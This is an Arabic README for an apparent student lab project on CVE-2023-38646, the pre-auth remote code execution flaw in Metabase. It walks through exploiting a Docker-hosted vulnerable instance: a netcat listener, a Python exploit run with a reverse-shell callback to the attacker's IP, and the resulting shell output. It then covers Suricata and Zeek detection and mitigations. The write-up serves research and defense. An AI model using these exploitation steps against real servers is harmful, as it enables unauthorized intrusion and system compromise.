## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NOSREVYTSNG-METABASE-PRE-AUTH-RCE-POC
# CVE-2023-38646 — إثبات المفهوم لتنفيذ الأكواد عن بُعد (RCE) في Metabase
### نظرة عامة
يوثّق هذا المستودع مشروع **بحث أمني لإثبات المفهوم (PoC)** يحلّل **CVE-2023-38646** ، وهي ثغرة حرجة لـ**تنفيذ الأكواد عن بُعد (RCE)** قبل المصادقة، تؤثر على الإصدارات المعرّضة للخطر من **Metabase**.
الهدف من هذا المشروع هو إظهار **دورة الحياة الكاملة لثغرة واقعية** ، بما في ذلك:
* فهم الثغرة والسبب الجذري لها
* إعادة إنتاج الاستغلال في بيئة مختبرية خاضعة للتحكم
* إنشاء قشرة عكسية (reverse shell) على النظام المعرّض للخطر
* مراقبة سلوك الهجوم عبر **أدوات مراقبة الشبكة**
* عرض **تقنيات هندسة الكشف**
* اقتراح **استراتيجيات دفاعية للتخفيف**
صُمم هذا المستودع لعرض مهارات عملية في:
* البحث في الثغرات
* إعادة إنتاج الاستغلال
* استخدام القشرة العكسية
* تحليل حركة مرور الشبكة
* أنظمة كشف التسلل
* استراتيجيات التخفيف الأمني
* * *
### خلفية الثغرة
**CVE-2023-38646** هي ثغرة حرجة تؤثر على إصدارات معينة من **Metabase** ، وهي منصة مفتوحة المصدر لذكاء الأعمال والتحليلات.
تتيح هذه الثغرة للمهاجم تحقيق **تنفيذ أكواد عن بُعد دون مصادقة** عبر استغلال نقاط ضعف في عملية الإعداد أو التكوين الخاصة بالتطبيق.
التفاصيل الرئيسية:
* **معرّف CVE:** CVE-2023-38646
* **الخطورة:** حرجة
* **درجة CVSS:** 9.8
* **متجه الهجوم:** الشبكة
* **المصادقة المطلوبة:** لا
* **الأثر:** تنفيذ الأكواد عن بُعد (RCE)
يمكّن الاستغلال الناجح المهاجم من:
* تنفيذ أوامر عشوائية على النظام المستهدف
* إنشاء قشرة عكسية
* احتمال تحقيق اختراق كامل للنظام
المراجع الرسمية:
* https://nvd.nist.gov/vuln/detail/CVE-2023-38646
* https://www.metabase.com/
* * *
### التقنيات والأدوات المستخدمة
يجمع هذا المشروع بين **أدوات الأمن الهجومية** و**أدوات المراقبة الدفاعية**.
#### الأمن الهجومي
* Python
* حمولات القشرة العكسية
* سكربت استغلال مخصص
* مثيل Metabase معرّض للخطر
#### الكشف والمراقبة
* **Suricata** — نظام كشف التسلل (IDS)
* **Zeek** — مراقبة أمن الشبكة (NSM)
#### التقنيات الدفاعية
* **ModSecurity** — جدار حماية تطبيقات الويب
* **OSSEC** — نظام كشف التسلل القائم على المضيف
#### بيئة المختبر
_عنصر نائب — صِف إعداد مختبرك_
مثال:
* جهاز المهاجم: Kali Linux
* الجهاز المستهدف: خادم Metabase معرّض للخطر
* جهاز مراقبة الشبكة: جهاز افتراضي لمراقبة الأمان
* * *
## إثبات المفهوم للاستغلال
### مخطط سلسلة الهجوم
root@kitploit:~
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]
يوضح هذا المخطط التدفق العام للهجوم المستخدم في هذا المشروع.
### إعداد إثبات المفهوم (PoC)
**تثبيت Docker وإعداده:**
root@kitploit:~
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
**بدء تشغيل Docker:**
تم نشر مثيل Metabase Enterprise معرّض للخطر (v1.44.0) باستخدام Docker.
root@kitploit:~
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
يُتيح هذا الوصول إلى الواجهة الإلكترونية الخاصة بـ Metabase على المنفذ 3000، مما يسمح بالوصول إلى صفحة الإعداد.
إذا كان Docker يعمل بالفعل، فنفّذ سطور الأوامر التالية للبدء من جديد:
root@kitploit:~
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
_عنصر نائب لإعداد Docker_
بمجرد تشغيل الحاوية، تصبح واجهة Metabase قابلة للوصول عبر المتصفح.
root@kitploit:~
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
تؤكد صفحة الإعداد أن مثيل Metabase نشط وجاهز للتكوين.
### _سيناريو الاستغلال 1_
BurpSuite
#### العرض / التوثيق
_عنصر نائب للقطات الشاشة أو الشرح_
### _سيناريو الاستغلال 2 - استغلال سكربت Python_
1. تحضير مستمع القشرة العكسية
قبل تشغيل الاستغلال، يتم بدء تشغيل مستمع Netcat على جهاز المهاجم لاستقبال اتصال القشرة العكسية.
root@kitploit:~
nc -lvnp 6666
ينتظر هذا المستمع الاتصالات الواردة من خادم Metabase المستغَل.
_عنصر نائب للقطات الشاشة أو الشرح_
2. تنفيذ الاستغلال يتم تنفيذ سكربت الاستغلال من جهاز المهاجم.
root@kitploit:~
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
ينفّذ الحمولة أمرًا ينشئ قشرة عكسية عائدة إلى جهاز المهاجم.
3. إنشاء القشرة العكسية بمجرد تنفيذ الحمولة بنجاح، يبدأ مثيل Metabase المعرّض للخطر اتصالًا عائدًا إلى جهاز المهاجم.
يستقبل مستمع Netcat الاتصال، مما يمنح المهاجم وصولًا إلى قشرة النظام.
root@kitploit:~
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
لتأكيد الاتصال بجهاز الضحية:
root@kitploit:~
whoami
المخرجات:
root@kitploit:~
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
* * *
## إثبات المفهوم لهندسة الكشف
يعرض هذا المشروع أيضًا كيفية اكتشاف نشاط الاستغلال باستخدام **أدوات مراقبة الشبكة**.
### كشف Suricata
تم استخدام Suricata (IDS) لمراقبة حركة مرور الشبكة بحثًا عن أنماط مشبوهة مرتبطة بالاستغلال.
root@kitploit:~
sudo suricata -i eth0
_عنصر نائب: أدخل لقطة شاشة لتنبيه Suricata_
root@kitploit:~
evidence/detection/suricata_alert.png
لمراقبة التنبيهات في الوقت الفعلي، تمت متابعة سجلات Suricata باستخدام:
root@kitploit:~
tail -f /var/log/suricata/fast.log
_عنصر نائب: أدخل لقطة شاشة لسجل Suricata_
root@kitploit:~
evidence/detection/suricata_log.png
للنهج السلبي، تم استخدام سكربت إشعارات مخصص لتوليد تنبيهات على سطح المكتب كلما رصد Suricata حركة مرور مشبوهة.
root@kitploit:~
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
عند تنفيذ الاستغلال، ولّد Suricata تنبيهات تشير إلى نشاط مشبوه مرتبط بمحاولة استغلال Metabase.
_عنصر نائب: أدخل لقطة شاشة لسجل Suricata_
root@kitploit:~
evidence/detection/suricata_noti.png
مثال:
_عنصر نائب: أدخل لقطة شاشة لسجل Suricata_
root@kitploit:~
evidence/detection/suricata_noti.png
### تحليل شبكة Zeek
بالإضافة إلى مراقبة IDS، تم استخدام Zeek لتحليل حركة مرور الشبكة وتحديد السلوك الشاذ.
يتم بدء تشغيل Zeek باستخدام هذه الأوامر لبدء التقاط وتحليل حركة مرور الشبكة:
root@kitploit:~
sudo /usr/local/zeek/bin/zeek -i eth0
_عنصر نائب: أدخل لقطة شاشة لبدء تشغيل Zeek_
root@kitploit:~
evidence/detection/zeek.png
من خلال فحص سجلات الاتصالات، يمكن ملاحظة حركة مرور القشرة العكسية على المنفذ 6666.
root@kitploit:~
192.168.1.136 → 192.168.1.137:6666
_عنصر نائب: أدخل لقطة شاشة لسجل Zeek_
root@kitploit:~
evidence/detection/zeek_log.png
* * *
## التخفيف والاستراتيجيات الدفاعية
يمكن لعدة استراتيجيات تخفيف أن تقلل من خطر الاستغلال.
الاستراتيجية| الوصف
---|---
إدارة التحديثات| ترقية Metabase إلى إصدار يعالج **CVE-2023-38646**
جدار حماية تطبيقات الويب (ModSecurity)| تصفية طلبات HTTP الخبيثة
كشف التسلل على المضيف (OSSEC)| مراقبة سلوك النظام المشبوه
* * *
# هيكل المستودع
root@kitploit:~
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
* * *
### الملخص
يعرض هذا المشروع دورة الحياة الكاملة لتحليل وإعادة إنتاج **ثغرة حرجة واقعية**.
يعرض إثبات المفهوم:
* تحليل الثغرة
* إعادة إنتاج الاستغلال
* تنفيذ القشرة العكسية
* مراقبة حركة مرور الشبكة
* كشف التسلل
* استراتيجيات التخفيف الدفاعية
الهدف من هذا المستودع هو تقديم **دراسة حالة تقنية** توضح **ممارسات الأمن السيبراني الهجومية والدفاعية** معًا.
* * *
## 🖋️ المؤلف
**Styverson Ng**
بكالوريوس تقنية المعلومات
الذكاء الاصطناعي والأنظمة الذاتية
الأمن السيبراني والأدلة الجنائية الرقمية
جامعة مردوخ